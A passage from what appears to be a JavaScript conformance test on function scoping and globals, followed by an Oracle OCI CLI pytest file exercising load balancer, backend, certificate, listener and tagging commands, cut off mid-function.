var f = function(){
throw value;
st_p1 = p1;
st_p2 = p2;
st_p3 = p3;
st_parseInt = parseInt;
st_NaN = NaN;
st_Infinity = Infinity;
st_eval = eval;
st_parseFloat = parseFloat;
st_isNaN = isNaN;
st_isFinite = isFinite;
p1 = 'x1';
this.p2 = 'x2';
del = delete p3;
var p4 = 'x4';
p5 = 'x5';
var value = 'value';
}
f();
}
} catch(e){
result = e;
}
if(!(result === undefined)){
$ERROR('#0: result === undefined. Actual: result ==='+ result );
}
if(!(p1 === 1)){
$ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
}
if(!(p2 === 2)){
$ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
}
if(!(p3 === 3)){
$ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
}
try {
p4;
$ERROR('#4: p4 is not defined');
} catch(e) {
}
try {
p5;
$ERROR('#5: p5 is not defined');
} catch(e) {
}
if(!(myObj.p1 === "a")){
$ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
}
if(!(myObj.p2 === "b")){
$ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
}
if(!(myObj.p3 === "c")){
$ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
}
if(!(myObj.p4 === undefined)){
$ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
}
if(!(myObj.p5 === undefined)){
$ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
}
if(!(st_parseInt === "parseInt")){
$ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
}
if(!(st_NaN === "NaN")){
$ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
}
if(!(st_Infinity === "Infinity")){
$ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
}
if(!(st_eval === "eval")){
$ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
}
if(!(st_parseFloat === "parseFloat")){
$ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
}
if(!(st_isNaN === "isNaN")){
$ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
}
if(!(st_isFinite === "isFinite")){
$ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
}
try{
value;
$ERROR('#18: value is not defined');
}
catch(e){
}
if(!(myObj.value === "myObj_value")){
$ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
}
|
{
"pile_set_name": "Github"
}
|
# coding: utf-8
# Copyright (c) 2016, 2020, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
import json
import oci_cli
import os
import pytest
from tests import tag_data_container
from tests import test_config_container
from tests import util
LB_PROVISIONING_TIME_SEC = 300 # 5 minutes
LB_PRIVATE_KEY_PASSPHRASE = 'secret!'
DEFAULT_WAIT_TIME = 120 # 1 minute
CASSETTE_LIBRARY_DIR = 'services/load_balancer/tests/cassettes'
TEMP_DIR = os.path.join('tests', 'temp')
@pytest.fixture(scope='module')
def load_balancer(runner, config_file, config_profile, vcn_and_subnets):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_lb.yml'):
subnet_ocid_1 = vcn_and_subnets[1]
subnet_ocid_2 = vcn_and_subnets[2]
params = [
'load-balancer', 'create',
'-c', util.COMPARTMENT_ID,
'--display-name', util.random_name('cli_lb'),
'--shape-name', '100Mbps',
'--subnet-ids', '["{}","{}"]'.format(subnet_ocid_1, subnet_ocid_2)
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# create lb returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=LB_PROVISIONING_TIME_SEC)
util.validate_response(get_work_request_result)
lb_ocid = json.loads(get_work_request_result.output)['data']['load-balancer-id']
yield lb_ocid
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_lb_delete.yml'):
params = [
'load-balancer', 'delete',
'--load-balancer-id', lb_ocid,
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
util.wait_until(['lb', 'load-balancer', 'get', '--load-balancer-id', lb_ocid], 'TERMINATED', max_wait_seconds=LB_PROVISIONING_TIME_SEC, succeed_if_not_found=True)
@pytest.fixture(scope='module')
def backend_set(runner, config_file, config_profile, load_balancer):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_backend_set.yml'):
backend_set_name = util.random_name('cli_lb_backend_set')
params = [
'backend-set', 'create',
'--name', backend_set_name,
'--policy', 'ROUND_ROBIN',
'--load-balancer-id', load_balancer,
'--health-checker-protocol', 'HTTP',
'--health-checker-return-code', '200',
'--health-checker-url-path', '/healthcheck',
'--health-checker-interval-in-ms', '60000', # 1 minute
'--session-persistence-cookie-name', '*',
'--session-persistence-disable-fallback', 'false'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# create lb returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=DEFAULT_WAIT_TIME)
util.validate_response(get_work_request_result)
yield backend_set_name
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_backend_set_delete.yml'):
params = [
'backend-set', 'delete',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set_name,
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=DEFAULT_WAIT_TIME)
util.validate_response(get_work_request_result)
@pytest.fixture(scope='module')
def backend(runner, config_file, config_profile, load_balancer, backend_set):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_backend.yml'):
ip_address = '10.0.0.10'
port = '80'
params = [
'backend', 'create',
'--ip-address', ip_address,
'--port', port,
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set,
'--weight', '3'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=DEFAULT_WAIT_TIME)
util.validate_response(get_work_request_result)
# backend name defaults to "ipaddress:port"
backend_name = "{}:{}".format(ip_address, port)
yield backend_name
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_backend_delete.yml'):
params = [
'backend', 'delete',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set,
'--backend-name', backend_name,
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=DEFAULT_WAIT_TIME)
util.validate_response(get_work_request_result)
@pytest.fixture(scope='module')
def certificate(runner, config_file, config_profile, load_balancer, key_pair_files):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_certificate.yml'):
private_key_filename = key_pair_files[1]
certificate_filename = key_pair_files[2]
cert_name = util.random_name('cli_lb_certificate')
params = [
'certificate', 'create',
'--certificate-name', cert_name,
'--load-balancer-id', load_balancer,
'--ca-certificate-file', certificate_filename,
'--private-key-file', private_key_filename,
'--public-certificate-file', certificate_filename,
'--passphrase', LB_PRIVATE_KEY_PASSPHRASE
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=LB_PROVISIONING_TIME_SEC)
util.validate_response(get_work_request_result)
yield cert_name
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_fixture_certificate_delete.yml'):
# delete cert
params = [
'certificate', 'delete',
'--load-balancer-id', load_balancer,
'--certificate-name', cert_name,
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=LB_PROVISIONING_TIME_SEC)
util.validate_response(get_work_request_result)
@util.slow
def test_load_balancer_operations(runner, config_file, config_profile, load_balancer):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_lb_operations.yml'):
# list
params = [
'load-balancer', 'list',
'-c', util.COMPARTMENT_ID
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
load_balancers = json.loads(result.output)['data']
found_lb = False
for lb in load_balancers:
if lb['id'] == load_balancer:
found_lb = True
assert found_lb
# update
# params = [
# 'load-balancer', 'update',
# '--load-balancer-id', load_balancer,
# '--display-name', util.random_name('cli_lb_updated')
# ]
# result = invoke(runner, config_file, config_profile, params)
# util.validate_response(result)
# # returns work request
# response = json.loads(result.output)
# work_request_ocid = response['opc-work-request-id']
# get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=DEFAULT_WAIT_TIME)
# util.validate_response(get_work_request_result)
# get
params = [
'load-balancer', 'get',
'--load-balancer-id', load_balancer
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# assert 'cli_lb_updated' in json.loads(result.output)['data']['display-name']
@util.slow
def test_certificate_operations(runner, config_file, config_profile, load_balancer, certificate):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_cert_operations.yml'):
params = [
'certificate', 'list',
'--load-balancer-id', load_balancer
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
response = json.loads(result.output)
found_cert = False
for cert in response['data']:
if cert['certificate-name'] == certificate:
found_cert = True
assert found_cert
@util.slow
def test_backend_set_operations(runner, config_file, config_profile, load_balancer, backend_set):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_backend_set_operations.yml'):
# fixture handles create / delete
params = [
'backend-set', 'list',
'--load-balancer-id', load_balancer
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
params = [
'backend-set', 'get',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
params = [
'backend-set', 'update',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set,
'--backends', '[]',
'--policy', 'ROUND_ROBIN',
'--health-checker-protocol', 'HTTP',
'--health-checker-url-path', '/healthchecker',
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=DEFAULT_WAIT_TIME)
util.validate_response(get_work_request_result)
@util.slow
def test_backend_operations(runner, config_file, config_profile, load_balancer, backend_set, backend):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_backend_operations.yml'):
# fixture handles create / delete
params = [
'backend', 'list',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
params = [
'backend', 'update',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set,
'--backend-name', backend,
'--weight', '2',
'--offline', 'true',
'--backup', 'false',
'--drain', 'false'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=DEFAULT_WAIT_TIME)
util.validate_response(get_work_request_result)
@util.slow
def test_listener_operations(runner, config_file, config_profile, load_balancer, backend_set, certificate):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_listener_operations.yml'):
# create listener
listener_name = util.random_name('cli_listener')
params = [
'listener', 'create',
'--default-backend-set-name', backend_set,
'--load-balancer-id', load_balancer,
'--name', listener_name,
'--port', '8080',
'--protocol', 'HTTP',
'--ssl-certificate-name', certificate
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns a work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=LB_PROVISIONING_TIME_SEC)
util.validate_response(get_work_request_result)
# update listener
params = [
'listener', 'update',
'--listener-name', listener_name,
'--default-backend-set-name', backend_set,
'--load-balancer-id', load_balancer,
'--port', '8080',
'--protocol', 'HTTP',
'--ssl-certificate-name', certificate,
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns a work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=LB_PROVISIONING_TIME_SEC)
util.validate_response(get_work_request_result)
# delete listener
params = [
'listener', 'delete',
'--load-balancer-id', load_balancer,
'--listener-name', listener_name,
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# returns a work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=LB_PROVISIONING_TIME_SEC)
util.validate_response(get_work_request_result)
@util.slow
def test_listener_with_connection_timeout_operations(runner, config_file, config_profile, load_balancer, backend_set):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_listener_with_connection_timeout_operations.yml'):
listener_name = util.random_name('cli_listener_ct')
params = [
'listener', 'create',
'--default-backend-set-name', backend_set,
'--load-balancer-id', load_balancer,
'--name', listener_name,
'--port', '8080',
'--protocol', 'HTTP',
'--connection-configuration-idle-timeout', '100',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer)
result = invoke(runner, config_file, config_profile, ['load-balancer', 'get', '--load-balancer-id', load_balancer])
parsed_result = json.loads(result.output)
assert parsed_result['data']['listeners'][listener_name]['connection-configuration']['idle-timeout'] == 100
params = [
'listener', 'update',
'--listener-name', listener_name,
'--default-backend-set-name', backend_set,
'--load-balancer-id', load_balancer,
'--port', '8080',
'--protocol', 'HTTP',
'--connection-configuration-idle-timeout', '75',
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer)
result = invoke(runner, config_file, config_profile, ['load-balancer', 'get', '--load-balancer-id', load_balancer])
parsed_result = json.loads(result.output)
assert parsed_result['data']['listeners'][listener_name]['connection-configuration']['idle-timeout'] == 75
params = [
'listener', 'delete',
'--load-balancer-id', load_balancer,
'--listener-name', listener_name,
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer)
@util.slow
def test_load_balancer_health_operations(runner, config_file, config_profile, load_balancer):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_lb_health_operations.yml'):
params = [
'load-balancer-health', 'get',
'--load-balancer-id', load_balancer
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
params = [
'load-balancer-health', 'list',
'-c', util.COMPARTMENT_ID
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
@util.slow
def test_backend_set_health_operations(runner, config_file, config_profile, load_balancer, backend_set):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_backend_set_health_operations.yml'):
params = [
'backend-set-health', 'get',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
@util.slow
def test_backend_health_operations(runner, config_file, config_profile, load_balancer, backend_set, backend):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_backend_health_operations.yml'):
params = [
'backend-health', 'get',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set,
'--backend-name', backend
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
@util.slow
def test_health_checker_operations(runner, config_file, config_profile, load_balancer, backend_set):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_health_checker_operations.yml'):
params = [
'health-checker', 'update',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set,
'--interval-in-millis', '15000',
'--port', '80',
'--protocol', 'HTTP',
'--response-body-regex', '.*',
'--retries', '3',
'--return-code', '200',
'--timeout-in-millis', '1000',
'--url-path', '/healthcheck'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
# health-checker update returns work request
response = json.loads(result.output)
work_request_ocid = response['opc-work-request-id']
get_work_request_result = util.wait_until(['lb', 'work-request', 'get', '--work-request-id', work_request_ocid], 'SUCCEEDED', max_wait_seconds=LB_PROVISIONING_TIME_SEC)
util.validate_response(get_work_request_result)
params = [
'health-checker', 'get',
'--load-balancer-id', load_balancer,
'--backend-set-name', backend_set
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
assert 15000 == json.loads(result.output)['data']['interval-in-millis']
def test_list_lb_shapes(runner, config_file, config_profile):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_lb_shapes.yml'):
params = [
'shape', 'list',
'-c', util.COMPARTMENT_ID
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
def test_list_lb_protocols(runner, config_file, config_profile):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_lb_protocols.yml'):
params = [
'protocol', 'list',
'-c', util.COMPARTMENT_ID
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
def test_list_lb_policy(runner, config_file, config_profile):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_lb_policy.yml'):
params = [
'policy', 'list',
'-c', util.COMPARTMENT_ID
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result)
def test_load_balancer_operations_with_waiters(runner, config_file, config_profile, vcn_and_subnets, key_pair_files):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_ops_with_waiters.yml'):
subnet_ocid_1 = vcn_and_subnets[1]
subnet_ocid_2 = vcn_and_subnets[2]
lb_name = util.random_name('cli_lb')
params = [
'load-balancer', 'create',
'-c', util.COMPARTMENT_ID,
'--display-name', lb_name,
'--shape-name', '100Mbps',
'--subnet-ids', '["{}","{}"]'.format(subnet_ocid_1, subnet_ocid_2),
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
load_balancer = util.get_json_from_mixed_string(result.output)
assert load_balancer['data']['lifecycle-state'] == 'ACTIVE'
assert 'loadbalancer' in load_balancer['data']['id']
assert load_balancer['data']['display-name'] == lb_name
assert load_balancer['data']['shape-name'] == '100Mbps'
assert len(load_balancer['data']['subnet-ids']) == 2
assert subnet_ocid_1 in load_balancer['data']['subnet-ids']
assert subnet_ocid_2 in load_balancer['data']['subnet-ids']
_do_backend_and_backend_set_waiters(runner, load_balancer['data']['id'], config_file, config_profile)
_do_certificate_waiters(runner, load_balancer['data']['id'], config_file, config_profile, key_pair_files)
params = [
'load-balancer', 'delete',
'--load-balancer-id', load_balancer['data']['id'],
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer['data']['id'])
@pytest.mark.usefixtures("tag_namespace_and_tags")
def test_load_balancer_tagging(runner, config_file, config_profile, vcn_and_subnets, key_pair_files):
with test_config_container.create_vcr(cassette_library_dir=CASSETTE_LIBRARY_DIR).use_cassette('test_load_balancer_tagging.yml'):
subnet_ocid_1 = vcn_and_subnets[1]
subnet_ocid_2 = vcn_and_subnets[2]
# Setup the tag inputs
tag_names_to_values = {}
for t in tag_data_container.tags:
tag_names_to_values[t.name] = 'somevalue {}'.format(t.name)
tag_data_container.write_defined_tags_to_file(
os.path.join('tests', 'temp', 'defined_tags_lb.json'),
tag_data_container.tag_namespace,
tag_names_to_values
)
# Create the LB with tags
lb_name = util.random_name('cli_lb')
params = [
'load-balancer', 'create',
'-c', util.COMPARTMENT_ID,
'--display-name', lb_name,
'--shape-name', '100Mbps',
'--subnet-ids', '["{}","{}"]'.format(subnet_ocid_1, subnet_ocid_2),
'--freeform-tags', 'file://tests/resources/tagging/freeform_tags_2.json',
'--defined-tags', 'file://tests/temp/defined_tags_lb.json',
'--wait-for-state', 'SUCCEEDED',
'--wait-interval-seconds', util.WAIT_INTERVAL_SECONDS
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
load_balancer = util.get_json_from_mixed_string(result.output)
id = load_balancer['data']['id']
try:
# Make sure the tags are in the results
assert "tagOne" in load_balancer['data']['freeform-tags']
assert "value three" == load_balancer['data']['freeform-tags']["tagOne"]
assert "cli_tag_ns_320683" in load_balancer['data']['defined-tags']
assert "cli_tag_320683" in load_balancer['data']['defined-tags']['cli_tag_ns_320683']
assert "cli_tag_320683" in load_balancer['data']['defined-tags']['cli_tag_ns_320683']
assert "somevalue cli_tag_320683" == load_balancer['data']['defined-tags']['cli_tag_ns_320683']['cli_tag_320683']
# Get the LB and make sure the tags are in the results
params = [
'load-balancer', 'get',
'--load-balancer-id', id
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
load_balancer = util.get_json_from_mixed_string(result.output)
id = load_balancer['data']['id']
assert "tagOne" in load_balancer['data']['freeform-tags']
assert "value three" == load_balancer['data']['freeform-tags']["tagOne"]
assert "cli_tag_ns_320683" in load_balancer['data']['defined-tags']
assert "cli_tag_320683" in load_balancer['data']['defined-tags']['cli_tag_ns_320683']
assert "cli_tag_320683" in load_balancer['data']['defined-tags']['cli_tag_ns_320683']
assert "somevalue cli_tag_320683" == load_balancer['data']['defined-tags']['cli_tag_ns_320683']['cli_tag_320683']
# List the LB and check that the tags are in the result
params = [
'load-balancer', 'list',
'-c', util.COMPARTMENT_ID
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
list_result = util.get_json_from_mixed_string(result.output)
if len(list_result['data']) == 1:
load_balancer = list_result['data'][0]
assert "tagOne" in load_balancer['freeform-tags']
assert "value three" == load_balancer['freeform-tags']["tagOne"]
assert "cli_tag_ns_320683" in load_balancer['defined-tags']
assert "cli_tag_320683" in load_balancer['defined-tags']['cli_tag_ns_320683']
assert "cli_tag_320683" in load_balancer['defined-tags']['cli_tag_ns_320683']
assert "somevalue cli_tag_320683" == load_balancer['defined-tags']['cli_tag_ns_320683']['cli_tag_320683']
# Update the display name for the lb.
params = [
'load-balancer', 'update',
'--load-balancer-id', id,
'--display-name', 'new' + lb_name,
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
params = [
'load-balancer', 'get',
'--load-balancer-id', id
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
load_balancer = util.get_json_from_mixed_string(result.output)
assert "new" + lb_name == load_balancer['data']['display-name']
# Setup the tag inputs
tag_names_to_values = {}
for t in tag_data_container.tags:
tag_names_to_values[t.name] = 'newvalue {}'.format(t.name)
tag_data_container.write_defined_tags_to_file(
os.path.join('tests', 'temp', 'defined_tags_lb.json'),
tag_data_container.tag_namespace,
tag_names_to_values
)
# Update the tags for the lb.
params = [
'load-balancer', 'update',
'--load-balancer-id', id,
'--freeform-tags', 'file://tests/resources/tagging/freeform_tags_1.json',
'--defined-tags', 'file://tests/temp/defined_tags_lb.json',
'--wait-for-state', 'SUCCEEDED',
'--force'
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
params = [
'load-balancer', 'get',
'--load-balancer-id', id
]
result = invoke(runner, config_file, config_profile, params)
util.validate_response(result, json_response_expected=False)
load_balancer = util.get_json_from_mixed_string(result.output)
assert "tagOne" in load_balancer['data']['freeform-tags']
assert "tag_Two" in load_balancer['data']['freeform-tags']
assert "value1" == load_balancer['data']['freeform-tags']["tagOne"]
assert "value two" == load_balancer['data']['freeform-tags']["tag_Two"]
assert "cli_tag_ns_320683" in load_balancer['data']['defined-tags']
assert "cli_tag_320683" in load_balancer['data']['defined-tags']['cli_tag_ns_320683']
assert "newvalue cli_tag_320683" == load_balancer['data']['defined-tags']['cli_tag_ns_320683']['cli_tag_320683']
finally:
# Delete the LB
params = [
'load-balancer', 'delete',
'--load-balancer-id', id,
'--force',
'--wait-for-state', 'SUCCEEDED',
'--wait-interval-seconds', util.WAIT_INTERVAL_SECONDS
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, id)
def _do_backend_and_backend_set_waiters(runner, load_balancer_id, config_file, config_profile):
backend_set_name = util.random_name('cli_lb_backend_set')
params = [
'backend-set', 'create',
'--name', backend_set_name,
'--policy', 'ROUND_ROBIN',
'--load-balancer-id', load_balancer_id,
'--health-checker-protocol', 'HTTP',
'--health-checker-return-code', '200',
'--health-checker-url-path', '/healthcheck',
'--health-checker-interval-in-ms', '60000', # 1 minute
'--session-persistence-cookie-name', '*',
'--session-persistence-disable-fallback', 'false',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
ip_address = '10.0.0.10'
port = '80'
params = [
'backend', 'create',
'--ip-address', ip_address,
'--port', port,
'--load-balancer-id', load_balancer_id,
'--backend-set-name', backend_set_name,
'--weight', '3',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
backend_name = "{}:{}".format(ip_address, port)
params = [
'backend', 'update',
'--load-balancer-id', load_balancer_id,
'--backend-set-name', backend_set_name,
'--backend-name', backend_name,
'--weight', '2',
'--offline', 'true',
'--backup', 'false',
'--drain', 'false',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
params = [
'backend', 'delete',
'--load-balancer-id', load_balancer_id,
'--backend-set-name', backend_set_name,
'--backend-name', backend_name,
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
_do_listener_waiters(runner, load_balancer_id, backend_set_name, config_file, config_profile)
params = [
'backend-set', 'delete',
'--load-balancer-id', load_balancer_id,
'--backend-set-name', backend_set_name,
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
def _do_certificate_waiters(runner, load_balancer_id, config_file, config_profile, key_pair_files):
private_key_filename = key_pair_files[1]
certificate_filename = key_pair_files[2]
cert_name = util.random_name('cli_lb_certificate')
params = [
'certificate', 'create',
'--certificate-name', cert_name,
'--load-balancer-id', load_balancer_id,
'--ca-certificate-file', certificate_filename,
'--private-key-file', private_key_filename,
'--public-certificate-file', certificate_filename,
'--passphrase', 'secret!',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
params = [
'certificate', 'delete',
'--load-balancer-id', load_balancer_id,
'--certificate-name', cert_name,
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
def _do_listener_waiters(runner, load_balancer_id, backend_set_name, config_file, config_profile):
listener_name = util.random_name('cli_listener')
params = [
'listener', 'create',
'--default-backend-set-name', backend_set_name,
'--load-balancer-id', load_balancer_id,
'--name', listener_name,
'--port', '8080',
'--protocol', 'HTTP',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
params = [
'listener', 'update',
'--listener-name', listener_name,
'--default-backend-set-name', backend_set_name,
'--load-balancer-id', load_balancer_id,
'--port', '8080',
'--protocol', 'HTTP',
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
params = [
